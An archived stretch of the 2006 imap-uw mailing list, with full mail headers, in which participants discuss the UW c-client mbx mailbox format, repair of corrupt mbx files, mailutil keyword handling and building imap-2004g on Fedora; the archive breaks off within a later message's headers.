mailnull) for mailarch+c-client; Thu, 16 Mar 2006 13:59:10 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLxAsh017455 for ; Thu, 16 Mar 2006 13:59:10 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLx9Uh007793 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Mar 2006 13:59:09 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLx5od003065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Mar 2006 13:59:05 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLx51H021517; Thu, 16 Mar 2006 13:59:05 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLx3ll021501 for ; Thu, 16 Mar 2006 13:59:03 -0800 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLwu3E002564 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Mar 2006 13:59:03 -0800 Received: from dogbert.cc.ndsu.NoDak.edu (localhost.localdomain [127.0.0.1]) by dogbert.cc.ndsu.NoDak.edu (8.13.1/8.13.1) with ESMTP id k2GLu0At015375 for ; Thu, 16 Mar 2006 15:56:00 -0600 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.13.1/8.13.1/Submit) with ESMTP id k2GLu0uW015372 for ; Thu, 16 Mar 2006 15:56:00 -0600 Date: Thu, 16 Mar 2006 15:56:00 -0600 (CST) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Re: MBX file format specification In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: [Imap-uw] Re: MBX file format specification, Richard Westlake...: > happens. I was thinking of producing some caned procedures or scripts which > junior members of the support group could use to recover most if not all of > the messages, if I wasn't around. I have since found some repair scripts, > which might help with this, including Tim Mooney's mbx-repair. I'll accept any and all feedback on that script (including "what were you thinking?!") . Note that it uses "mailutil" exclusively for creating an new, pristine folder and for appending messages from corrupted folders onto it the new mailbox, so it pushes the whole locking issue onto Mark's routines (thankfully!). The script is pretty rough around the edges, but I'll definitely fix any problems you report. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 16 19:20:08 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2006 19:20:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K8PI001101 for ; Thu, 16 Mar 2006 19:20:08 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K6Ge017503 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Mar 2006 19:20:07 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K3dE031148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Mar 2006 19:20:03 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K2Xr031431; Thu, 16 Mar 2006 19:20:02 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K1rh031422 for ; Thu, 16 Mar 2006 19:20:01 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K05V016663 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 16 Mar 2006 19:20:00 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3K0Oq031724 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Mar 2006 19:20:00 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3JxVg032564 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 16 Mar 2006 19:19:59 -0800 Date: Thu, 16 Mar 2006 19:17:57 -0800 (Pacific Standard Time) From: Mark Crispin To: Richard Westlake In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: MBX file format specification X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 16 Mar 2006, Richard Westlake wrote: > Does anything else use same mbx file format? The mbx format is private to the UW c-client library, used by UW imapd, ipop3d, mailutil, and of course Pine. It was designed by me, and is a descendant of the mailbox format used on the Tenex and TOPS-20 systems of the 1970s and 1980s. I have heard rumors of a version of postfix that knows how to append in mbx format; but I do not (will not, can not) promise that it will work today or in the future. > 2) Repairing corrupt mbx format files. Have you read this particular FAQ? http://www.washington.edu/imap/IMAP-FAQs/index.html#7.15 > 3) One-off bulk conversion of UNIX mbox format files to mbx format. > I have used "mailutil copy" for this, however it discards, the X-Keyword: > flags it doesn't recognise (e.g. Junk, NonJunk, $Forward, $MNDSent). Hmm; mailutil is supposed to create the keywords as needed. Do you have the most recent version? > The first 2048 bytes of the file are the mbx header, which starts with > > *mbx* > ttttttttnnnnnnnn > flag-1 > flag-2 > flag-3 > . > . > . > > where > tttttttt is a time value; this doesn't seem to change, so I think it is when > the file was first created? tttttttt is the IMAP UIDVALIDITY. It is set to the UNIX date when the file is created, and normally won't change; but if the UID regime ever gets invalidated (shouldn't happen) then a new UIDVALIDITY will be assigned > nnnnnnnn it the largest message UID used in the file More accurately, it's the last-assigned UID. This always increases; it never gets smaller, even if the message with that UID is expunged. > flag-1, flag-2, are locally defined flags. e.g. Junk, NonJunk, $Forward, > $MNDSent Correct. They're what IMAP calls keywords. > Each message starts with a line of the form > dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU All correct. The date is the IMAP INTERNALDATE, the ssss is > What happens if the UIDs get out of sequence or are duplicated, will > imapd replace the UIDs with new ones, in sequence or would this require > outside intervention? This invalidates the UID regime, which will cause a new UIDVALIDITY to be assigned and every message issued a new UID. This is bad juju, since it will cause clients which cause messages to toss their cache and reload the entire mailbox. > Something that puzzles me, I made a new file by asking the mail client to > save messages in a new folder. The first message starts with the usual line > > dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-00000000 > > Next I have asked the mail client (pine via imap) to open and list this new > folder, the UID is replaced by 00000001 This is old (imap-2004g) behavior. It uses "lazy" UID assignment, in which the message is delivered with a zero (unassigned) UID and a UID is assigned and written when the mailbox is opened. The new behavior (in the development imap-2006) assigns UIDs when the message is delivered, in order to support the IMAP UIDPLUS extension. > and a hexadecimal number has been > added after the file header and before the first message header. I am > curious, what this number does and how important it is? This is the most recent UNIX process ID to have written into the file. It helps when multiple sessions have the file open; it tells other sessions that the mailbox got written by some other process and it needs to look at the file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 16 19:42:15 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2006 19:42:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3gEcG001835 for ; Thu, 16 Mar 2006 19:42:14 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3gDG1018529 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Mar 2006 19:42:14 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3g86G001359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Mar 2006 19:42:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3g8XJ032634; Thu, 16 Mar 2006 19:42:08 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2H3g8dw032626 for ; Thu, 16 Mar 2006 19:42:08 -0800 Received: from mail122.messagelabs.com (mail122.messagelabs.com [216.82.241.211]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k2H3g68a018945 for ; Thu, 16 Mar 2006 19:42:07 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-15.tower-122.messagelabs.com!1142566926!19209433!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 26800 invoked from network); 17 Mar 2006 03:42:06 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-15.tower-122.messagelabs.com with SMTP; 17 Mar 2006 03:42:06 -0000 Received: from [10.0.1.3] (c-68-46-0-192.hsd1.pa.comcast.net [68.46.0.192]) by pobox.upenn.edu (Postfix) with ESMTP id 5AA0A1728; Thu, 16 Mar 2006 22:42:05 -0500 (EST) Date: Thu, 16 Mar 2006 22:42:02 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] Re: MBX file format specification Message-ID: <64FE55615815C1200E2DD2F3@[10.0.1.3]> In-Reply-To: References: X-Mailer: Mulberry/3.1.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On Thursday, March 16, 2006 7:17 PM -0800 Mark Crispin wrote: > On Thu, 16 Mar 2006, Richard Westlake wrote: >> 3) One-off bulk conversion of UNIX mbox format files to mbx format. >> I have used "mailutil copy" for this, however it discards, the >> X-Keyword: flags it doesn't recognise (e.g. Junk, NonJunk, $Forward, >> $MNDSent). > > Hmm; mailutil is supposed to create the keywords as needed. Do you > have the most recent version? We've found the same thing with imap-2004g, and came up with a workaround involving using the IMAP "STORE" command. Haven't tested the development version to see whether this problem remains. Mark -- Mark Sirota, Associate Director, Network Engineering and Services University of Pennsylvania, Information Systems and Computing msirota@isc.upenn.edu, 215/573-7214 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Mar 17 02:42:42 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Mar 2006 02:42:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAggUY022214 for ; Fri, 17 Mar 2006 02:42:42 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAgfIC026760 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Mar 2006 02:42:41 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAgbOV014978 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Mar 2006 02:42:37 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAgbN3022270; Fri, 17 Mar 2006 02:42:37 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAgZUr022262 for ; Fri, 17 Mar 2006 02:42:35 -0800 Received: from mx1.liv.ac.uk (mx1.liv.ac.uk [138.253.100.179]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2HAgYvS012007 for ; Fri, 17 Mar 2006 02:42:34 -0800 Received: from mailhubb.liv.ac.uk ([138.253.100.37]) by mx1.liv.ac.uk with esmtp (Exim 4.52) id 1FKCPh-0007D7-Th for imap-uw@u.washington.edu; Fri, 17 Mar 2006 10:42:33 +0000 Received: from localhost ([127.0.0.1] helo=mailhubb.liv.ac.uk) by mailhubb.liv.ac.uk with esmtp (Exim 4.54) id 1FKCPh-0000VO-Sd; Fri, 17 Mar 2006 10:42:33 +0000 Received: from dh103203.liv.ac.uk ([138.253.103.203]) by mailhubb.liv.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.54) id 1FKCPh-0000VK-Rv; Fri, 17 Mar 2006 10:42:33 +0000 Date: Fri, 17 Mar 2006 10:42:33 +0000 (GMT) From: Alan Thew X-X-Sender: qq11@dh103203.liv.ac.uk To: Mark Crispin Subject: Re: [Imap-uw] Re: MBX file format specification In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 16 Mar 2006 19:17 , Mark Crispin said: > On Thu, 16 Mar 2006, Richard Westlake wrote: >> Does anything else use same mbx file format? > > The mbx format is private to the UW c-client library, used by UW imapd, > ipop3d, mailutil, and of course Pine. It was designed by me, and is a > descendant of the mailbox format used on the Tenex and TOPS-20 systems of the > 1970s and 1980s. > > I have heard rumors of a version of postfix that knows how to append in mbx > format; but I do not (will not, can not) promise that it will work today or > in the future. exim can deliver to an mbx mailbox. We ran this without problems. > -- Alan Thew alan.thew@liverpool.ac.uk Computing Services, University of Liverpool Fax: +44 151 794-4442 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 27 03:53:50 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Mar 2006 03:53:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RBrnKk011281 for ; Mon, 27 Mar 2006 03:53:49 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RBrmmx026774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 27 Mar 2006 03:53:48 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RBriJT003766 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Mar 2006 03:53:44 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RBricl030933; Mon, 27 Mar 2006 03:53:44 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RBrga4030925 for ; Mon, 27 Mar 2006 03:53:42 -0800 Received: from relay.lankabell.com (mail.lankabell.com [203.81.104.20]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RBrZQn027236 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 27 Mar 2006 03:53:41 -0800 Received: from mail.lanka_bell.com (localhost.localdomain [127.0.0.1]) by relay.lankabell.com (8.13.4/8.13.4) with SMTP id k2RBml0b023616 for ; Mon, 27 Mar 2006 17:48:49 +0600 Received: by mail.lanka_bell.com with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Mar 2006 18:01:14 +0600 Message-ID: <042DD391835D37498FF156C950263FBF03D63C2D@mail.lanka_bell.com> From: GajendranA To: imap-uw@u.washington.edu Date: Mon, 27 Mar 2006 18:01:13 +0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_70_90 0.1, __C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HTML_FONT_BLUE 0, __HTML_MSWORD 0, __IMS_MSGID 0, __IMS_MUA 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] c-client error X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1722803421==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1722803421== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C65196.25242D70" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C65196.25242D70 Content-Type: text/plain Hi All I tried make slx, lnx from imap-2004g and imap-2001.RELEASE-CANDIDATE.1 with SSLTYPE=unix Every things fails. What is the system type for Fedora Core 4 64bit? Thanks gajen This e-mail may contain confidential and/or privileged information. If you are not the intended recipient or have received this e-mail in error, please notify the sender immediately and destroy this e-mail. Any unauthorised copying, disclosure or distribution of the material in this e-mail is strictly forbidden. ------_=_NextPart_001_01C65196.25242D70 Content-Type: text/html Content-Transfer-Encoding: quoted-printable

    Hi All

     

    I tried make slx, lnx from imap-2004g and = imap-2001.RELEASE-CANDIDATE.1 with SSLTYPE=3Dunix

     

    Every things fails.

     

    What is the system type for Fedora Core 4 = 64bit?

     

    Thanks

    gajen



    This e-mail may contain = confidential and/or privileged information.

    If you are not the intended = recipient or have received this e-mail in error, please notify the = sender immediately and destroy this e-mail. Any unauthorised copying, = disclosure or distribution of the material in this e-mail is strictly = forbidden.



    ------_=_NextPart_001_01C65196.25242D70-- --===============1722803421== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1722803421==-- From pinedev@shivax2.cac.washington.edu Mon Mar 27 08:30:40 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Mar 2006 08:30:40 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RGUdK4025651 for ; Mon, 27 Mar 2006 08:30:39 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RGUcBk030192 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 27 Mar 2006 08:30:39 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RGUZeS022734 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Mar 2006 08:30:35 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RGUYwa007504; Mon, 27 Mar 2006 08:30:34 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RGUXXZ007478 for ; Mon, 27 Mar 2006 08:30:33 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k2RGUWCe003885 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 27 Mar 2006 08:30:33 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RGUWRO026690 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 27 Mar 2006 08:30:32 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k2RGUJiP020174 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 27 Mar 2006 08:30:31 -0800 Date: Mon, 27 Mar 2006 08:30:18 -0800 (PST) From: Mark Crispin To: GajendranA Subject: Re: [Imap-uw] c-client error In-Reply-To: <042DD391835D37498FF156C950263FBF03D63C2D@mail.lanka_bell.com> Message-ID: References: <042DD391835D37498FF156C950263FBF03D63C2D@mail.lanka_bell.com> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 27 Mar 2006, GajendranA wrote: > I tried make slx, lnx from imap-2004g and imap-2001.RELEASE-CANDIDATE.1 with > SSLTYPE=unix Don't use imap-2001. Did you try "make lrh"? > Every things fails. What errors did you get? It is not useful to say "it fails" without the actual text of the failure. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Apr 3 04:52:48 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Apr 2006 04:52:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k33BqlWF007317 for ; Mon, 3 Apr 2006 04:52:47 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33BqkiY020761 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Apr 2006 04:52:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Bqhek008094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Apr 2006 04:52:43 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33BqgpN014524; Mon, 3 Apr 2006 04:52:42 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Bqf8a014516 for ; Mon, 3 Apr 2006 04:52:41 -0700 Received: from web8614.mail.in.yahoo.com (web8614.mail.in.yahoo.com [202.43.219.183]) by mxe1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with SMTP id k33BqbmZ001373 for ; Mon, 3 Apr 2006 04:52:38 -0700 Received: (qmail 45317 invoked by uid 60001); 3 Apr 2006 11:52:36 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.co.in; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; 